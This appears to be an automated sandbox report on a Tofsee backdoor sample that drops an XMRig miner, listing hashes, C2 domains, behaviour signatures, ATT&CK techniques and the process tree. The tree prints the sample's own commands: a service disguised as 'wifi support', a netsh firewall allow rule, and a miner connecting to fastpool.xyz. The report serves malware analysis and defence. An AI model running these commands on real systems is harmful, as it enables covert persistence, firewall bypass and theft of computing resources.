Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    15-01-2022 01:12

General

  • Target

    b18c116180baa08d1a2ef0280ece01c8b50f34e37eca91ad7e2fcac016127e48.exe

  • Size

    318KB

  • MD5

    67680affa10e96459b06bbb2a0ae9186

  • SHA1

    934edda0261f3f8333c482e386f4058baf9b72ac

  • SHA256

    b18c116180baa08d1a2ef0280ece01c8b50f34e37eca91ad7e2fcac016127e48

  • SHA512

    17358b18553684832df71df94af6d999d661d92b339eb1861060f8d56f658807f105dac4fe8a5a086baa87d6a65fbbac0bfa8b41c2d015f780a802cee6e62b21

Malware Config

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b18c116180baa08d1a2ef0280ece01c8b50f34e37eca91ad7e2fcac016127e48.exe
    "C:\Users\Admin\AppData\Local\Temp\b18c116180baa08d1a2ef0280ece01c8b50f34e37eca91ad7e2fcac016127e48.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jswkypcg\
      2⤵
        PID:3796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mgeyzowl.exe" C:\Windows\SysWOW64\jswkypcg\
        2⤵
          PID:2944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jswkypcg binPath= "C:\Windows\SysWOW64\jswkypcg\mgeyzowl.exe /d\"C:\Users\Admin\AppData\Local\Temp\b18c116180baa08d1a2ef0280ece01c8b50f34e37eca91ad7e2fcac016127e48.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:848
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jswkypcg "wifi internet conection"
            2⤵
              PID:2876
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jswkypcg
              2⤵
                PID:3580
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:988
              • C:\Windows\SysWOW64\jswkypcg\mgeyzowl.exe
                C:\Windows\SysWOW64\jswkypcg\mgeyzowl.exe /d"C:\Users\Admin\AppData\Local\Temp\b18c116180baa08d1a2ef0280ece01c8b50f34e37eca91ad7e2fcac016127e48.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:852
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1420
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1064

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\mgeyzowl.exe
                MD5

                efac54eedb9c28ee9e919d8952ef0558

                SHA1

                4b00467aacec23a6fb31ee95c7648d36effb3c5e

                SHA256

                78e4c5e4856b27d19e56abd32ac0e20b24f9e8e92b29213088922ad16c025444

                SHA512

                4d6d173e2086ac4834f14b33dca44ff64bb3499ce90123bb70fbd9fd3fc32309da3acff379624c5c30be7eadc3a5df6a8d08fa84839ab3d607981f7e56cb8083

              • C:\Windows\SysWOW64\jswkypcg\mgeyzowl.exe
                MD5

                efac54eedb9c28ee9e919d8952ef0558

                SHA1

                4b00467aacec23a6fb31ee95c7648d36effb3c5e

                SHA256

                78e4c5e4856b27d19e56abd32ac0e20b24f9e8e92b29213088922ad16c025444

                SHA512

                4d6d173e2086ac4834f14b33dca44ff64bb3499ce90123bb70fbd9fd3fc32309da3acff379624c5c30be7eadc3a5df6a8d08fa84839ab3d607981f7e56cb8083

              • memory/848-121-0x0000000000000000-mapping.dmp
              • memory/852-131-0x0000000000400000-0x000000000055F000-memory.dmp
                Filesize

                1.4MB

              • memory/852-126-0x0000000000844000-0x0000000000855000-memory.dmp
                Filesize

                68KB

              • memory/988-124-0x0000000000000000-mapping.dmp
              • memory/1064-137-0x0000000002C00000-0x0000000002CF1000-memory.dmp
                Filesize

                964KB

              • memory/1064-136-0x0000000002C9259C-mapping.dmp
              • memory/1064-132-0x0000000002C00000-0x0000000002CF1000-memory.dmp
                Filesize

                964KB

              • memory/1420-129-0x0000000000610000-0x0000000000611000-memory.dmp
                Filesize

                4KB

              • memory/1420-130-0x0000000000610000-0x0000000000611000-memory.dmp
                Filesize

                4KB

              • memory/1420-127-0x0000000000700000-0x0000000000715000-memory.dmp
                Filesize

                84KB

              • memory/1420-128-0x0000000000709A6B-mapping.dmp
              • memory/2384-116-0x0000000002280000-0x0000000002293000-memory.dmp
                Filesize

                76KB

              • memory/2384-117-0x0000000000400000-0x000000000055F000-memory.dmp
                Filesize

                1.4MB

              • memory/2876-122-0x0000000000000000-mapping.dmp
              • memory/2944-119-0x0000000000000000-mapping.dmp
              • memory/3580-123-0x0000000000000000-mapping.dmp
              • memory/3796-118-0x0000000000000000-mapping.dmp